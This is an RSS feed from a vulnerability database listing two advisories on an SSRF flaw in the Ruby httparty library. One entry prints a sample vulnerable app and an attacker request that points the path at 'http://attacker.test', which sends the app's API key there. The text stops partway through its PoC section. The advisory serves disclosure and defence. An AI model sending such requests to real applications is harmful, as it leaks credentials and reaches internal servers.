<?xml version='1.0' encoding='UTF-8'?>
<?xml-stylesheet href="/static/style.xsl" type="text/xsl"?>
<rss xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/" version="2.0">
  <channel>
    <title>Most recent entries from all</title>
    <link>https://vulnerability.circl.lu</link>
    <description>Contains only the most 10 recent entries.</description>
    <docs>http://www.rssboard.org/rss-specification</docs>
    <generator>python-feedgen</generator>
    <language>en</language>
    <lastBuildDate>Wed, 30 Sep 2026 19:45:23 +0000</lastBuildDate>
    <item>
      <title>CVE-2025-68696 — httparty Has Potential SSRF Vulnerability That Leads to API Key Leakage</title>
      <link>https://vulnerability.circl.lu/vuln/cve-2025-68696</link>
      <description>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; jnunemaker httparty&lt;/p&gt;
&lt;p&gt;httparty is an API tool. In versions 0.23.2 and prior, httparty is vulnerable to SSRF. This issue can pose a risk of leaking API keys, and it can also allow third parties to issue requests to internal servers. This issue has been patched via commit 0529bcd.&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; jnunemaker httparty&lt;/p&gt;
&lt;p&gt;httparty is an API tool. In versions 0.23.2 and prior, httparty is vulnerable to SSRF. This issue can pose a risk of leaking API keys, and it can also allow third parties to issue requests to internal servers. This issue has been patched via commit 0529bcd.&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://vulnerability.circl.lu/vuln/cve-2025-68696</guid>
    </item>
    <item>
      <title>GHSA-hm5p-x4rq-38w4 — httparty Has Potential SSRF Vulnerability That Leads to API Key Leakage</title>
      <link>https://vulnerability.circl.lu/vuln/ghsa-hm5p-x4rq-38w4</link>
      <description>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; RubyGems: httparty&lt;/p&gt;
&lt;p&gt;## Summary&lt;/p&gt;
&lt;p&gt;There may be an SSRF vulnerability in httparty. This issue can pose a risk of leaking API keys, and it can also allow third parties to issue requests to internal servers.&lt;/p&gt;
&lt;p&gt;## Details&lt;/p&gt;
&lt;p&gt;When httparty receives a path argument that is an absolute URL, it ignores the `base_uri` field. As a result, if a malicious user can control the path value, the application may unintentionally communicate with a host that the programmer did not anticipate.&lt;/p&gt;
&lt;p&gt;Consider the following example of a web application:&lt;/p&gt;
&lt;p&gt;```rb
require &amp;#39;sinatra&amp;#39;
require &amp;#39;httparty&amp;#39;&lt;/p&gt;
&lt;p&gt;class RepositoryClient
  include HTTParty
  base_uri &amp;#39;http://exmaple.test/api/v1/repositories/&amp;#39;
  headers &amp;#39;X-API-KEY&amp;#39; =&amp;gt; &amp;#39;1234567890&amp;#39;
end&lt;/p&gt;
&lt;p&gt;post &amp;#39;/issue&amp;#39; do
  request_body = JSON.parse(request.body.read)
  RepositoryClient.get(request_body[&amp;#39;repository_id&amp;#39;]).body
  # do something
  json message: &amp;#39;OK&amp;#39;
end
```&lt;/p&gt;
&lt;p&gt;Now, suppose an attacker sends a request like this:&lt;/p&gt;
&lt;p&gt;```
POST /issue HTTP/1.1
Host: localhost:10000
Content-Type: application/json&lt;/p&gt;
&lt;p&gt;{
    &amp;#34;repository_id&amp;#34;: &amp;#34;http://attacker.test&amp;#34;,
    &amp;#34;title&amp;#34;: &amp;#34;test&amp;#34;
}
```&lt;/p&gt;
&lt;p&gt;In this case, httparty sends the `X-API-KEY` not to `http://example.test` but instead to `http://attacker.test`.&lt;/p&gt;
&lt;p&gt;A similar problem was reported and fixed in the HTTP client library axios in the past:  
&amp;lt;https://github.com/axios/axios/issues/6463&amp;gt;&lt;/p&gt;
&lt;p&gt;Also, Python&amp;#39;s `urljoin` function has documented a warning about similar behavior:  
&amp;lt;https://docs.python.org/3.13/library/urllib.parse.html#urllib.parse.urljoin&amp;gt;&lt;/p&gt;
&lt;p&gt;## PoC&lt;/p&gt;
&lt;p&gt;Follow the…&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; RubyGems: httparty&lt;/p&gt;
&lt;p&gt;## Summary&lt;/p&gt;
&lt;p&gt;There may be an SSRF vulnerability in httparty. This issue can pose a risk of leaking API keys, and it can also allow third parties to issue requests to internal servers.&lt;/p&gt;
&lt;p&gt;## Details&lt;/p&gt;
&lt;p&gt;When httparty receives a path argument that is an absolute URL, it ignores the `base_uri` field. As a result, if a malicious user can control the path value, the application may unintentionally communicate with a host that the programmer did not anticipate.&lt;/p&gt;
&lt;p&gt;Consider the following example of a web application:&lt;/p&gt;
&lt;p&gt;```rb
require &amp;#39;sinatra&amp;#39;
require &amp;#39;httparty&amp;#39;&lt;/p&gt;
&lt;p&gt;class RepositoryClient
  include HTTParty
  base_uri &amp;#39;http://exmaple.test/api/v1/repositories/&amp;#39;
  headers &amp;#39;X-API-KEY&amp;#39; =&amp;gt; &amp;#39;1234567890&amp;#39;
end&lt;/p&gt;
&lt;p&gt;post &amp;#39;/issue&amp;#39; do
  request_body = JSON.parse(request.body.read)
  RepositoryClient.get(request_body[&amp;#39;repository_id&amp;#39;]).body
  # do something
  json message: &amp;#39;OK&amp;#39;
end
```&lt;/p&gt;
&lt;p&gt;Now, suppose an attacker sends a request like this:&lt;/p&gt;
&lt;p&gt;```
POST /issue HTTP/1.1
Host: localhost:10000
Content-Type: application/json&lt;/p&gt;
&lt;p&gt;{
    &amp;#34;repository_id&amp;#34;: &amp;#34;http://attacker.test&amp;#34;,
    &amp;#34;title&amp;#34;: &amp;#34;test&amp;#34;
}
```&lt;/p&gt;
&lt;p&gt;In this case, httparty sends the `X-API-KEY` not to `http://example.test` but instead to `http://attacker.test`.&lt;/p&gt;
&lt;p&gt;A similar problem was reported and fixed in the HTTP client library axios in the past:  
&amp;lt;https://github.com/axios/axios/issues/6463&amp;gt;&lt;/p&gt;
&lt;p&gt;Also, Python&amp;#39;s `urljoin` function has documented a warning about similar behavior:  
&amp;lt;https://docs.python.org/3.13/library/urllib.parse.html#urllib.parse.urljoin&amp;gt;&lt;/p&gt;
&lt;p&gt;## PoC&lt;/p&gt;
&lt;p&gt;Follow the…&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://vulnerability.circl.lu/vuln/ghsa-hm5p-x4rq-38w4</guid>
    </item>
  </channel>
</rss>
